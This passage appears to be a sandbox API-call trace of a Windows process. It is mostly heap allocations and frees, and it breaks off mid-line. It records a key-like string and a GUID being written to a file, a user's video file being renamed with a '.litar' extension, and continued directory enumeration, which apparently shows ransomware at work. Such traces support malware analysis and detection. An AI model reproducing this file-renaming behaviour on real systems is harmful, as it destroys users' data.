RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.640] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.640] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.640] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.640] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30754f0 | out: hHeap=0x5c0000) returned 1 [0125.640] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.640] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.640] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.640] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.640] CloseHandle (hObject=0x624) returned 1 [0125.641] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.641] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.641] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.641] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VvaG-iQ-9rXlD9Y.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vvag-iq-9rxld9y.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VvaG-iQ-9rXlD9Y.mkv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vvag-iq-9rxld9y.mkv.litar")) returned 1 [0125.641] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.641] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.642] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.642] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b07f8c0, ftCreationTime.dwHighDateTime=0x1d4c9c4, ftLastAccessTime.dwLowDateTime=0xe10730d0, ftLastAccessTime.dwHighDateTime=0x1d4d10a, ftLastWriteTime.dwLowDateTime=0xe10730d0, ftLastWriteTime.dwHighDateTime=0x1d4d10a, nFileSizeHigh=0x0, nFileSizeLow=0x4f1b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VvaG-iQ-9rXlD9Y.mkv", cAlternateFileName="VVAG-I~1.MKV")) returned 0 [0125.642] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f448 | out: hHeap=0x5c0000) returned 1 [0125.643] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f760 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075010 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f810 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f868 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f238 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074fa8 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075218 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075280 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f398 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752e8 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f6b0 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075350 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f658 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f600 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30753b8 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f5a8 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075420 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f550 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f188 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075078 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0125.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.643] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.645] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.645] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.647] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.648] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.648] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.649] HeapFree (in: hHeap=0x5c0000, 